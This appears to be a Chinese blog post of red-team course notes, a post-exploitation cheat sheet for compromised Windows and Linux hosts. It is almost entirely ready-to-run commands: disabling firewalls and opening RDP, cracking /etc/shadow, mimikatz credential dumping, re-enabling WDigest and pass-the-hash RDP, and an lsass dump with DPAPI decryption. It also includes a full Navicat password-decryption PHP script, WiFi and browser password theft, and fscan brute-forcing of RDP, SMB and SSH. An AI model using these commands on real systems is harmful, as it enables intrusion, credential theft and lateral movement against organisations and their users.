本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

本文来源:大白哥红队攻防演练课程(大白哥授课部分)

需要咨询课程详情,请扫下方二维码添加大白哥绿泡泡

一、Windows机器

用户信息

whoami /all                   //查询当前用户权限等
net user                      //显示本机的用户,不显示域用户
net user administrator        //查看指定用户(administrator)的具体信息,通过所属用户组判断当前用户是否为管理员
net localgroup                //查看组,有些大型单位可能会单独创建用户组,存在域环境
net localgroup administrators //显示本机的administrators管理员组。除了显示本机中用户,还会显示域用户(前提是该域用户在本机的Administrators组内)
query user | qwinsta          //查询当前在线用户
hostname                      //查看主机名,有些单位可能会用部门名称等等命名这台机器,通过主机名可以大致判断这台机器扮演的角色
  • whoami /all:这个命令如果看到的特权比较少,说明没有Bypass UAC,Bypass以后通过这个命令查看到的特权会非常多

  • 特权较少

  • 特权较多(已经Bypass UAC)

  • 多提一嘴,如果在CS中看到user后面有一个*,说明是管理员权限,一般情况下也说明已经Bypass UAC

  • net user easy0:查看easy0用户,发现在管理员组中,说明该用户有管理员权限

系统信息

ipconfig /all                                //查看ip详细信息,可以判断内网网段,是否有多张网卡
route print                                  //查看路由,可以看当前主机通哪个段
arp -a                                       //查看arp缓存表,看当前主机通哪个段
type C:\Windows\System32\drivers\etc\hosts   //查看hosts文件,有些内网会做本地进行host解析,通过域名访问内网资源,通过这个可以发现内网更多的资源
systeminfo                                   //查看系统的基本信息(系统版本.软件及补丁的安装情况,是否在域内)
net statistics workstation                   //查看主机开机时间,可以判断是个人主机还是服务器
echo %PROCESSOR_ARCHITECTURE%                //可查看系统的体系结构,判断是x86还是AMD64等,便于选择后续需要的工具的版本
fsutil fsinfo drives                         //查看所有的盘符
set                                          //查看环境变量,通过环境变量,可以判断能用什么类型的脚本

查看外联情况

  • 通过外联情况,判断当前机器的角色,也能通过外联的地址对应的端口,判断对方机器的角色(比如:3306就可能是数据库服务器)

netstat -ano                    //查看网络外连开放情况.
netstat -ano | findstr 80       //查看80端口的网络连接
netstat -ano | findstr 443      //查看443端口的网络连接
netstat -ano | findstr 3306
netstat -ano | findstr 3389
netstat -ano | findstr 6379
netstat -ano | findstr 1433

进程信息

  • 了解当前机器装了什么软件,比如:运行了向日葵,就可以针对这一点深入利用

tasklist                        //查看进程列表
tasklist /svc                   //查看进程,显示进程使用者名称
tasklist /svc | findstr 1024    //查找pid为1024的进程名称(pid可以通过netstat获取)
taskkill /f /t /im xx.exe       //杀死xx.exe进程
taskkill /F -pid 520            //杀死pid为520的进程

查看杀软

https://av.aabyss.cn/
https://www.ddosi.org/av/1.php

服务和应用

net start                          //查询当前运行的服务
wmic startup get command,caption   //查看程序启动信息
wmic product get name,version      //查看安装的软件及版本
schtasks /query /fo LIST /v        //查看系统计划任务

防火墙信息

netsh advfirewall show allprofiles         //通过配置文件的状态 , 打开说明防火墙是开启的 , 关闭就是关闭的

//关闭防火墙(这种操作一般要Bypass UAC以后才能执行)
//Server2003及之前版本
netsh firewall set opmode disable
netsh firewall set opmode mode=disable

//Server2003之后版本 off/on
netsh advfirewall set allprofiles state off


//指定程序通过防火墙
//Server2003及之前版本,允许指定程序全部连接:
netsh firewall add allowedprogram d:\nc.exe "allow nc" enable

//Server2003之后版本,允许指定程序进入:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="d\nc.exe"

//允许3389端口放行
//进站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

//出站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=out localport=3389 action=allow

//在大多数情况下,只需要创建入站规则(dir=in),以便允许外部计算机连接到本地计算机上的远程桌面服务。
//但是,如果有特殊的需求,需要允许本地计算机连接到远程计算机上的远程桌面服务,那么也可以创建出站规则(dir=out)。

RDP相关信息

  • 除了可以通过netstat看3389是否在外联,也可以通过以下命令查看注册表

//查看3389状态 如果值为0,表示远程桌面是开放的;如果值为1,则表示远程桌面是关闭的
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

//查看远程桌面端口,因为有可能运维把这个rdp服务对应的端口改了,查询出结果以后是个十六进制数,需要转换
//适用于Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows 7、Windows 8 这些操作系统版本
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

//适用于 Windows Server 2008 R2和Windows Server 2012
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber


//开启3389
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

//关闭3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

敏感信息

  • 每个用户桌面

  • 每个用户下载

  • 每个用户文档

  • 用户家目录下的隐藏文件夹

  • 保存的云凭证信息(阿里云、腾讯云、aws)

  • ...

二、Linux机器

用户和密码信息

//查看用户密码信息(默认脱敏)
cat /etc/passwd

//筛选可以登录的用户
cat /etc/passwd | grep bash
cat /etc/passwd | grep /sh

//查看用户密码信息(包含密码的密文)
cat /etc/shadow

//查看用户登录状况
w 
last      //最近一次登录
  • 使用john(kali自带)爆破shadow中的密码

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 

//hash.txt是/etc/shadow的内容
//字典可以替换成自己的弱口令字典
  • 显示已经破解的hash

john hash.txt --show
  • tip:内网中常会遇到密码复用

网络信息

  • 查看网络信息

ifconfig
ip addr
arp -a
  • 查看本地hosts解析

cat /etc/hosts
  • 查看外联信息

netstat -anop
netstat -anp | grep 22
netstat -anp | grep 3306
netstat -anp | grep 6379
  • 查看建立连接的情况

ss
ss -t -o state established

//显示dst(目标)IP为192.168.3.21且状态为established的TCP连接,同时显示timer
ss -t -o state established dst 192.168.3.21

//显示src(源)IP为172.31.2.101且状态为established的TCP连接,同时显示timer
ss -ato state established src 172.31.2.102

判断当前是否在docker中

  • 检查根目录下.dockerenv文件是否存在

ls -la /.dockerenv
  • 检查/proc/1/cgroup内是否包含"docker"等字符串

cat /proc/1/cgroup

进程和计划任务

  • 从进程信息中可以获得当前主机上都跑着什么样的服务 , 有没有redis , mysql等

  • 如果存在计划任务 , 我们能知道这台机器 , 定时定地的都在干嘛 , 进而分析这台机器在整个网络架构中是一个什么样的角色

  • 进程查看

ps -aux 

//查看mysql、redis等这些服务
ps -aux | grep "关键字"
  • 计划任务查看

crontab -l
more /etc/crontab

//centos
cd /var/spool/cron/  
ls -la

//ubuntu
cd /var/spool/cron/crontabs/ 
ls -la

系统信息

uname -a            //内核信息
cat /etc/issue      //发行版本信息
cat /etc/*-release  //发行版本信息
cat /etc/shells     //列出可用的shell
echo $SHELL         //当前用户的默认shell的路径

历史命令

  • 历史命令 , 对于攻击者来说 , 无疑是一个大宝藏 , 可能从中获得意想不到的东西 , 如 ssh的登录密码

history                          //查看当前回话内存中执行的命令
cat ~/.bash_history              //查看当前用户写入到文本中的历史命令
cat /home/lazy/.bash_history   //查看lazy用户写入到文本中的历史命令
  • linux命令敲下去回车后 , 是保存到当前用户当前的ssh会话中的, 也就是说是在当前用户对应的内存中的 , 即使是同一个用户 , 也没办法通过history查看另外一个回话内存中保存的历史命令 , 只有当会话退出此时这个用户执行过的历史命令才会被追加写到~/.bash_history文件中 , 永久保存

  • 所以我们查看历史命令 最好的方式是cat ~/.bash_history

寻找敏感文件

  • 用户家目录

cat /root
cat /home/lazy
ls -la
  • known_hosts文件是SSH客户端中的一个重要配置文件。当首次与一个SSH服务器建立连接时,客户端会记录下该服务器返回的的公钥,并保存在known_hosts文件中,以后每次连接该服务器时,客户端都会验证该服务器返回的公钥是否与known_hosts文件中保存的一致。如果不一致,则会发出警告,提示可能存在DNS劫持、中间人攻击等安全问题。因此,known_hosts文件可以保证SSH连接的安全性,防止恶意攻击。

cat /root/.ssh/known_hosts
cat /home/lazy/.ssh/known_hosts
  • 配置文件

cat /etc/redis/redis.conf         //redis配置文件,可能找到明文密码
cat /etc/mysql/user.MYD           //mysql配置文件,非明文密码
  • 全局搜索敏感文件,重点看用户家目录,web目录

find / -type f -name "*.conf"
find / -type f -name "config.*"
find / -type f -name "*passwd*"

三、web配置文件信息

ASP网站

  • 路径:根目录

Web.config

PHP网站

  • 路径:根目录或者config目录

config.php
db.php
conn.php
database.php

Java网站

  • 路径:apache-tomcat\webapps\应用名称\WEB-INF\classes

application.properties
jdbc.properties
database.properties
db.properties
apache-tomcat2\webapps\xxxx\WEB-INF\classes\application.yaml
apache-tomcat-9.0.79\conf\tomcat-users.xml

全局敏感信息收集工具(实战推荐)

  • 能够检索出账号密码、AK/SK等等敏感信息,输出到一个txt文件中

//递归检索指定目录下的敏感文件 
searchall64.exe -p C:\\web目录
./searchall64 -p /

  • 补充两款工具

四、密码收集

抓取当前主机密码

  • 工具:mimikatz(需要管理员权限运行)

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpassWords" "exit"

  • 如果是CS的shell也可以直接运行内置的mimkatz进行抓取

注意

  • 微软为了防止用户密码在内存中以明文形式泄露,发布了补丁KB2871997关闭了 Wdigest功能。

  • 在日常网络维护中,通过查看注册表项Wdigest可以判断其功能状态。如果该项值为0,用户明文密码就不会出现在内存中 , 如果该项值为1用户下次登录时,攻击者就能使用工具获取明文密码

  • Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。

  • Windows server 2012以下版本如果安装了KB2871997补丁,攻击者同样无法获取明文密码。

在命令行中开启Wdigest Auth

  • cmd

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • 开启之后 , 只有关机重启 , 或者注销登录之后才能抓到明文密码

query user       //查询登录
logoff ID        //下线(注销)
rundll32.exe user32.dll,LockWorkStation     //强制锁屏

通过hash登录远程桌面

  • 可用于抓不到账号密码的情况下

  • 首先要修改注册表开启该功能

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 

  • 查询结果

  • 结果为0x0代表已开启

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

  • 此时通过mimikatz抓取密码hash

  • 通过hash登录,只需要在攻击者本机上运行

  • 需要填写抓到的hash以及ip地址

mimikatz.exe 
privilege::debug
sekurlsa::pth /user:Administrator /domain:10.10.10.143 /ntlm:4a0dc8122db6aa517971886ee666d79f "/run:mstsc.exe /restrictedadmin"

//sekurlsa::pth /user:用户名 /domain:ip地址 /ntlm:hash值 "/run:mstsc.exe /restrictedadmin"

  • 注意,实战中需要将流量代理到攻击者本机才能成功登录

收集RDP凭证

  • 查看上线机器mstsc的连接记录,看连接过哪些机器

  • 要保存了连接凭据才会有

cmdkey /list 

  • 查找本地的Credentials(凭据) , 排查每个用户的这个目录,找到对应的密码文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* 
dir /a C:\Users\用户名\AppData\Local\Microsoft\Credentials\* 
dir /a C:\Users\administrator\AppData\Local\Microsoft\Credentials\*

  • 复制密码文件名,使用mimikatz对其文件进行解密,并记录下guidMasterKey的值

mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\文件名" exit
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\4A8C68CCD687073C948D8208779376AB" exit

  • 通过guidMasterKey值找到内存中对应的MasterKey

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

  • 使用mimikatz解密,得到密码

mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\4A8C68CCD687073C948D8208779376AB /masterkey:89e447bf56acc8c6d5ee323fa2072b2e795886ee2b9c54a0905ff64356d6e2cf7b9c715133bcf7d3828573db20a4361cdd143e3eabe7af8121ccc5d25bc11d1f" exit

拓展

  • 我们不能保证我们的mimikatz是免杀状态,但是为了避免被对方发现,可以离线解密从而达到获取密码的目的

  • 其实很简单,就是把目标的文件和内存下载回来,在vps或本机上进行mimikatz解密即可。

  • dump目标的lsass.exe内存

procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump
  • 上线cs,下载目标的Credentials文件

C:\Users\Administrator\AppData\Local\Microsoft\Credentials
  • 用mimikatz载入dump回来的内存

Sekurlsa::minidump lsass1.dump
  • 获取Credentials的GUID

dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7
  • 获取内存中所有的MasterKey

sekurlsa::dpapi
  • 利用MasterKey解密

dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6
  • 工具补充:可以列出当前主机所有的rdp对外(当前主机链接外部),对内(外部主机链接当前)链接

ListRDPConnections.exe

收集xshell密码

SharpXDecrypt.exe
SharpXDecrypt.exe > 1.txt

收集navicat密码

PwdCollection.exe -navicat

PwdCollection.exe -all
PwdCollection.exe -browser [-chrome] [-firefox] [-360safe]
PwdCollection.exe -winscp
PwdCollection.exe -filezilla
PwdCollection.exe -navicat
PwdCollection.exe -securecrt
PwdCollection.exe -xmanager [-path "sessions path"]
PwdCollection.exe -searchreg
PwdCollection.exe -searchfile
PwdCollection.exe -systemhash

拓展:navicat中的密码加密无法查看

  • 导出.ncx后缀文件

  • 选择文件-导出连接,选择我们需要导出的数据库文件,并保存为.ncx后缀的文件

  • 密码解密

  • 导出后缀为ncx的文件,密码进行了加密,选择php解密脚本进行解密

  • php解密脚本

<?php

  namespace FatSmallTools;

class NavicatPassword
{
  protected $version = 0;
  protected $aesKey = 'libcckeylibcckey';
  protected $aesIv = 'libcciv libcciv ';
  protected $blowString = '3DC5CA39';
  protected $blowKey = null;
  protected $blowIv = null;

  public function __construct($version = 12)
  {
    $this->version = $version;
    $this->blowKey = sha1('3DC5CA39', true);
    $this->blowIv = hex2bin('d9c7c3c8870d64bd');
  }

  public function encrypt($string)
  {
    $result = FALSE;
    switch ($this->version) {
      case 11:
      $result = $this->encryptEleven($string);
      break;
      case 12:
      $result = $this->encryptTwelve($string);
      break;
      default:
      break;
    }

    return $result;
  }

  protected function encryptEleven($string)
  {
    $round = intval(floor(strlen($string) / 8));
    $leftLength = strlen($string) % 8;
    $result = '';
    $currentVector = $this->blowIv;

    for ($i = 0; $i < $round; $i++) {
      $temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector));
      $currentVector = $this->xorBytes($currentVector, $temp);
      $result .= $temp;
    }

    if ($leftLength) {
      $currentVector = $this->encryptBlock($currentVector);
      $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
    }

    return strtoupper(bin2hex($result));
  }

  protected function encryptBlock($block)
  {
    return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 
  }

  protected function decryptBlock($block)
  {
    return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 
  }

  protected function xorBytes($str1, $str2)
  {
    $result = '';
    for ($i = 0; $i < strlen($str1); $i++) {
      $result .= chr(ord($str1[$i]) ^ ord($str2[$i]));
    }

    return $result;
  }

  protected function encryptTwelve($string)
  {
    $result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
    return strtoupper(bin2hex($result));
  }

  public function decrypt($string)
  {
    $result = FALSE;
    switch ($this->version) {
      case 11:
      $result = $this->decryptEleven($string);
      break;
      case 12:
      $result = $this->decryptTwelve($string);
      break;
      default:
      break;
    }

    return $result;
  }

  protected function decryptEleven($upperString)
  {
    $string = hex2bin(strtolower($upperString));

    $round = intval(floor(strlen($string) / 8));
    $leftLength = strlen($string) % 8;
        $result = '';
        $currentVector = $this->blowIv;
        
        for ($i = 0; $i < $round; $i++) {
            $encryptedBlock = substr($string, 8 * $i, 8);
            $temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector);
            $currentVector = $this->xorBytes($currentVector, $encryptedBlock);
            $result .= $temp;
        }
        
        if ($leftLength) {
            $currentVector = $this->encryptBlock($currentVector);
            $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
        }
        
        return $result;
    }
    
    protected function decryptTwelve($upperString)
    {
        $string = hex2bin(strtolower($upperString));
        return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
    }
}


use FatSmallTools\NavicatPassword;

//需要指定版本,11或12
$navicatPassword = new NavicatPassword(12);
//$navicatPassword = new NavicatPassword(11);

//解密
//$decode = $navicatPassword->decrypt('15057D7BA390');
$decode = $navicatPassword->decrypt('503AA930968F877F04770B47DD731DC0');
echo $decode."\n";

收集WIFI密码(个人PC)

  • 列出所有连接过的WiFi

netsh wlan show profiles

  • 查看到某个具体WiFi的配置详情,包括密码

netsh wlan show profiles name="JIE" key=clear

  • 一条命令查看所有

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

获取浏览器保存的密码

hack-browser-data.exe
hack-browser-data.exe -b all -f json --dir results -zip

五、第三方应用程序配置信息收集

todesk/向日葵

  • 拿到webshell,存在杀软,无法上线CS,可以利用存在的远控工具进行连接

  • 先找对应的pid

tasklist | findstr Sun
tasklist | findstr ToDesk

sundeskQ.exe -mode todesk -pid pid
sundeskQ.exe -mode sun -pid pid

拓展工具

宝塔

phpmyadmin

  • 默认是安装的 , 也是可以外部访问的 , 虽然还是888默认端口 , 但是生成的路径是 phpmyadmin_随机字符串,基本上无法爆破出来,可以在软件商城中查看到

默认宝塔入口路径文件

cat /www/server/panel/data/admin_path.pl/

默认账号密码数据库

  • 使用数据库管理工具(例如:navicat)打开这个.db文件

cat /www/server/panel/data/default.db

默认密码文件

cat /www/server/panel/default.pl
  • 注意 : 这些文件只保存默认的 , 修改后的不会保存

  • 如果忘记密码可以,通过一条命令重置密码

cd /www/server/panel && python tools.py panel testpasswd
  • 也可以通过bt命令修改 , 要求宝塔面板的版本是>6.x

数据库的安装目录

  • mysql安装路径

/www/server/mysql
  • mysql密码文件

/www/server/data/mysql/user.MYD
  • web目录

/www/wwwroot

六、探测内网存活主机

//默认扫描
fscan.exe -h 192.168.158.1/24

//跳过存活检测(-np) 、不保存文件、跳过web poc扫描(默认端口)
fscan.exe -h 10.10.1.1/16 -no -nopoc

//全端口, 跳过poc扫描,使用ping扫描, 指定某台主机
fscan.exe -h 192.168.158.132 -p 1-65535 -ping -nopoc -o all_port.txt

//指定密码(mimikatz抓到), 爆破c段机器的rdp
fscan.exe -h 192.168.31.1/24 -m rdp -p 3389 -pwd Aa123456789 -o rdp.txt
fscan.exe -hf ips.txt -m rdp -p 3389 -pwd Aa123456789 -o rdp.txt

//指定密码(通过mimikatz抓到), 爆破c段机器的smb
fscan.exe -h 192.168.158.132 -m smb -pwd 123456 -o smb.txt
fscan.exe -hf ips.txt -m smb -pwd Aa123456789 -o smb.txt
fscan.exe -h 192.168.1.1/16 -m smb -pwd hik12345+ -o smb.txt

//单独检测ms17-010
fscan.exe -h 172.18.1.1/16 -m ms17010 -o 17.txt
 
//爆破ssh
./fscan -h 192.168.1.1/16 -p 22 -m ssh -user root -pwd ets@123 -c id -o ssh.txt
./fscan -hf ips.txt -m ssh -p 22 -pwdf pass.txt -o ssh.txt

//结束进程
taskkill /f /im fscan.exe

其它工具